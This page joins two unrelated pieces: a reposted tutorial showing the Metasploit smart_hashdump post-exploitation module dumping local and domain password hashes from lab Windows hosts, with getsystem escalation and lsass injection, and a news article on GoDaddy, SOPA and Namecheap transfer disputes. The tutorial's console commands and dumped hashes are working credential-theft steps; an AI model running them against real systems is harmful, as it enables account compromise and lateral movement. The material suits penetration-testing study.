Dump Windows hashes using smart_hashdump module

Smart_hashdump module by Carlos Perez

Download:

Script: https://github.com/darkoperator/Meterpreter-Scripts/raw/master/scripts/smart_hasdump.rb

Module: https://github.com/darkoperator/Meterpreter-Scripts/raw/master/post/smart_hashdump.rb

Features:

It first checks the Privilege Level and OS.
It will check if the target is a Domain Controller.
Based on this information it will prefer the reading of the registry to get the hashes if possible, if not possible it will inject in to the lsass process if possible. For Domain Controllers it will use the injection to lsass.
If the target is a Windows 2008 server and the process is running with admin privileges it will attempt to get system privilege using getsystem, if it gets SYSTEM privilege do to the way the token privileges are set it can still not inject in to the lsass process so the code will migrate to a process already running as SYSTEM and then inject in to the lsass process.
If the code detects that it is running on a Windows 7/Vista box with UAC disabled and it is running as local admin it will run getsystem and it will use the read registry method.
On Windows 2003/2000/XP it will use getsystem and if successful it will use the read registry method

Script:

Code:

meterpreter > run smart_hasdump -h
Meterpreter Script for automating the dumping of local accounts from
the SAM Database and if the targets host is a Domain Controller the
Domain Account Database using the proper technique depending on 
privilage level, OS and Role of host.
OPTIONS:
    -h        Help menu.
    -l   Log folder to save results, if none provided default log path will be used.
    -s   Try to get SYSTEM Privilege

Module:

Code:

msf exploit(handler) > use post/windows/gather/smart_hashdump 
msf post(smart_hashdump) > info
       Name: Windows Gather Local and Domain Controler Account Password Hashes
     Module: post/windows/gather/smart_hashdump
    Version: $Revision$
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Carlos Perez 
 
Description:
  This will dump local accounts from the SAM Database and if the 
  targets host is a Domain Controller the Domain Account Database 
  using the proper technique depending on privilage level, OS and Role 
  of host.
msf post(smart_hashdump) > show options 
Module options (post/windows/gather/smart_hashdump):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   GETSYSTEM  false            no        Attempt to get SYSTEM Privilege on the target host.
   SESSION                     yes       The session to run this module on.

Both use the same calls and print almost the same messages so lets use the post module since it is what most of the code is moving to, first lets run it on a Windows 2008 R2 DC:

Code:

meterpreter > run post/windows/gather/smart_hashdump GETSYSTEM=true
[*] Running module against WIN2K8R2-01
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /Users/carlos/.msf3/loot/20110518200416_default_192.168.1.234_windows.hashes_483699.txt
[+]     This host is a Domain Controller!
[*] Dumping password hashes...
[*] Trying to get SYSTEM Privilege
[+] Got SYSTEM Privilege
[*] Migrating to process owned by SYSTEM
[*] Migrating to wininit.exe
[+] Successfully migrated to wininit.exe
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552:::
[+]     krbtgtB:502:aad3b435b51404eeaad3b435b51404ee:a6c94aa1141fd563d618b5f1dd0d86c2:::
[+]     testuser:1109:aad3b435b51404eeaad3b435b51404ee:7a118f7a2f2b34d61fa19b840b4f5203:::
[+]     WIN2K8R2-01$?:1006:aad3b435b51404eeaad3b435b51404ee:5780b9a9d5b3fc7792982ae4b7b44b8f:::

On a Windows 7 System with UAC Disabled as Administrator:

Code:

meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against WIN701
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /Users/carlos/.msf3/loot/20110518201100_default_192.168.1.224_windows.hashes_711181.txt
[*] Dumping password hashes...
[-] On this version of Windows you need to be NT AUTHORITY\SYSTEM to dump the hashes
[-] Try setting GETSYSTEM to true.
meterpreter > run post/windows/gather/smart_hashdump GETSYSTEM=true
[*] Running module against WIN701
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /Users/carlos/.msf3/loot/20110518201122_default_192.168.1.224_windows.hashes_541308.txt
[*] Dumping password hashes...
[*] Trying to get SYSTEM Privilege
[+] Got SYSTEM Privilege
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY 35f17065cf29faf142844a684d502ba8...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hashes...
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     adminuser:1000:aad3b435b51404eeaad3b435b51404ee:7a118f7a2f2b34d61fa19b840b4f5203:::

on a Windows 7 System as Administrator with UAC:

Code:

meterpreter > run post/windows/gather/smart_hashdump GETSYSTEM=true
[*] Running module against WIN-KVJG16GEMOJ
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /Users/carlos/.msf3/loot/20110518201439_default_192.168.1.112_windows.hashes_452083.txt
[-] Insufficient privileges to dump hashes!

Sadly UAC does a good job at blocking dumping the hashes even as Administrator, it will even block getsystem.

on a Windows XP System:

Code:

meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against TEST-01BCDAF47C
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /Users/carlos/.msf3/loot/20110518201750_default_192.168.1.113_windows.hashes_761609.txt
[*] Dumping password hashes...
[+]     Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203:::
[+]     HelpAssistant:1000:17520fb9c159a6be8a692d4f186288a5:4ad260d25ad790417f1a4ef3c44103b2:::
[+]     SUPPORT_388945a0":1002:aad3b435b51404eeaad3b435b51404ee:ec48ef68e471506ab31f656bf5741d63:::
 
meterpreter > run post/windows/gather/smart_hashdump GETSYSTEM=true
[*] Running module against TEST-01BCDAF47C
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /Users/carlos/.msf3/loot/20110518201818_default_192.168.1.113_windows.hashes_177417.txt
[*] Dumping password hashes...
[*] Trying to get SYSTEM Privilege
[+] Got SYSTEM Privilege
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY 4503ffd18cd3ee70d443b159c8626842...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hashes...
[+]     Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203:::
[+]     HelpAssistant:1000:17520fb9c159a6be8a692d4f186288a5:4ad260d25ad790417f1a4ef3c44103b2:::
[+]     SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ec48ef68e471506ab31f656bf5741d63:::

On XP and Windows 2003 if you are an administrator you can dump hashes with no problem and getsystem will yield success.

To get a list of all the accounts and hashes from the main console:

Code:

msf exploit(handler) > db_creds 
[*] Time: 2011-05-18 02:02:08 UTC Credential: host=192.168.1.234 port=445 proto=tcp sname=smb type=smb_hash user=WIN2K8R2-01$? pass=aad3b435b51404eeaad3b435b51404ee:5780b9a9d5b3fc7792982ae4b7b44b8f active=true
[*] Time: 2011-05-18 02:02:08 UTC Credential: host=192.168.1.234 port=445 proto=tcp sname=smb type=smb_hash user=testuser  pass=aad3b435b51404eeaad3b435b51404ee:7a118f7a2f2b34d61fa19b840b4f5203 active=true
[*] Time: 2011-05-18 02:02:08 UTC Credential: host=192.168.1.234 port=445 proto=tcp sname=smb type=smb_hash user=krbtgtB pass=aad3b435b51404eeaad3b435b51404ee:a6c94aa1141fd563d618b5f1dd0d86c2 active=true
[*] Time: 2011-05-18 02:02:08 UTC Credential: host=192.168.1.234 port=445 proto=tcp sname=smb type=smb_hash user=Administrator pass=aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552 active=true
[*] Time: 2011-05-18 02:03:40 UTC Credential: host=192.168.1.224 port=445 proto=tcp sname=smb type=smb_hash user=adminuser pass=aad3b435b51404eeaad3b435b51404ee:7a118f7a2f2b34d61fa19b840b4f5203 active=true
[*] Time: 2011-05-18 02:03:40 UTC Credential: host=192.168.1.224 port=445 proto=tcp sname=smb type=smb_hash user=Administrator pass=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 active=true
[*] Time: 2011-05-18 02:06:15 UTC Credential: host=192.168.1.113 port=445 proto=tcp sname=smb type=smb_hash user=HelpAssistant pass=17520fb9c159a6be8a692d4f186288a5:4ad260d25ad790417f1a4ef3c44103b2 active=true
[*] Time: 2011-05-18 02:06:15 UTC Credential: host=192.168.1.113 port=445 proto=tcp sname=smb type=smb_hash user=Administrator pass=bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203 active=true
[*] Time: 2011-05-18 02:06:15 UTC Credential: host=192.168.1.113 port=445 proto=tcp sname=smb type=smb_hash user=SUPPORT_388945a0 pass=aad3b435b51404eeaad3b435b51404ee:ec48ef68e471506ab31f656bf5741d63 active=true
[*] Found 9 credentials

Source: http://www.darkoperator.com/blog/2011/5/19/metasploit-post-module-smart_hashdump.html

GoDaddy accused of interfering with domain transfers

GoDaddy, the domain management and web hosting company suffered a rather bleak Christmas weekend after it became public news that the company was supporting SOPA. The company lost more than 37,000 domains in just a couple of days and that number has gone up further since then.

It all started when Republican congressman Lamar Smith released a full list of those supporting the Stop Online Piracy Act (SOPA) last week. While media firms such as Time Warner, CBS, NBC and the like are no surprise, GoDaddy's addition to the list was, and consequently a huge public backlash ensued.

If that wasn't bad enough, GoDaddy is now being accused of attempting to deliberately delay the transfer process of domains being moved from its service. Namecheap, who saw an opportunity in clearly stating they were anti-SOPA whilst offering discounts to those wanting to move their domains, has reported that GoDaddy is returning incomplete WhoIs information to them during the transfer process.They also made it clear they would manually transfer domains if they had to, in light of GoDaddy's actions.

As many customers have recently complained of transfer issues, we suspect that this competitor is thwarting efforts to transfer domains away from them. Specifically, GoDaddy appears to be returning incomplete WHOIS information to Namecheap, delaying the transfer process. This practice is against ICANN rules. We at Namecheap believe that this action speaks volumes about the impact that informed customers are having on GoDaddy’s business. It’s a shame that GoDaddy feels they have to block their (former) customers from voting with their dollars. We can only guess that at GoDaddy, desperate times call for desperate measures.

Rich Merdinger, Sr. Director of Product Development at GoDaddy responded to the blog post by saying the delay was a normal procedure designed to protect its clients from fraudulent activity.

Namecheap posted their accusations in a blog, but to the best our of knowledge, has yet to contact GoDaddy directly, which would be common practice for situations like this. Normally, the fellow registrar would make a request for us to remove the normal rate limiting block which is a standard practice used by GoDaddy, and many other registrars, to rate limit Whois queries to combat WhoIs abuse.

Because some registrars (and other data gathering, analyzing and reporting entities) have legitimate need for heavy port 43 access, we routinely grant requests for expanded access per an SOP we’ve had in place for many years. Should we make contact with Namecheap, and learn they need similar access, we would treat that request similarly.

As a side note, we have seen some nefarious activity this weekend which came from non-registrar sources. But, that is not unusual for a holiday weekend, nor would it cause legitimate requests to be rejected. Nevertheless, we have now proactively removed the rate limit for Namecheap, as a courtesy, but it is important to point out, there still may be back-end IP addresses affiliated with Namecheap of which we are unaware. For complete resolution, we should be talking to each other — an effort we are initiating since they have not done so themselves.

Namecheap responded with another statement saying they had tried to reach out and resolve the issue.

I understand that a number of publications have received a note from GoDaddy’s PR team saying that “to the best of [their] knowledge,” we hadn’t reached out. This is quite untrue as our upstream technicians had made attempts to reach out directly.

That said, it was known for almost a full 24 hours that we were blocked from having the transfers go through. In efforts to be fully transparent about the delays which were greatly upsetting to our customers, we posted this after reaching out to GoDaddy as we had no response.

We updated this post long before any publication came out with GoDaddy’s PR response to say that GoDaddy did confirm that they unblocked us. We wouldn’t have known that if there was no communication.

I can now confidently say that we’ve been able to process thousands of transfers since we were unblocked and should be up to speed by later tonight. We truly appreciate everyone’s patience and apologize for the delays that impacted our customers.

Meanwhile, domain registrar Hover contacted Neowin to say it hasn't experienced any issues with domain transfers, pointing at the possibility of eNom experiencing technical issues as a potential cause of the problems.

This would be a serious violation of [GoDaddy's] ICANN accreditation if it were the case. Namecheap is an eNom reseller and it may be possible that eNom is experiencing more general issues. I wonder if this is a more localized issue than Namecheaps might be aware of. We've seen a wild and consistent increase in transfer-in activity in the last week and its not showing any signs of slowing up. I'd be surprised if GoDaddy was taking punitive action, and of course, it almost goes without saying that not a day goes by when something in this business doesn't surprise me.

Despite at first suggesting their position would make no impact on its client portfolio, GoDaddy has since retracted its support of SOPA after bearing witness to a huge client exodus. Big household names such as Wikipedia confirming they are to move all their domains away from GoDaddy is not going to help the embattled firm rebuild its now tattered reputation as more people vote with their wallets and follow suit.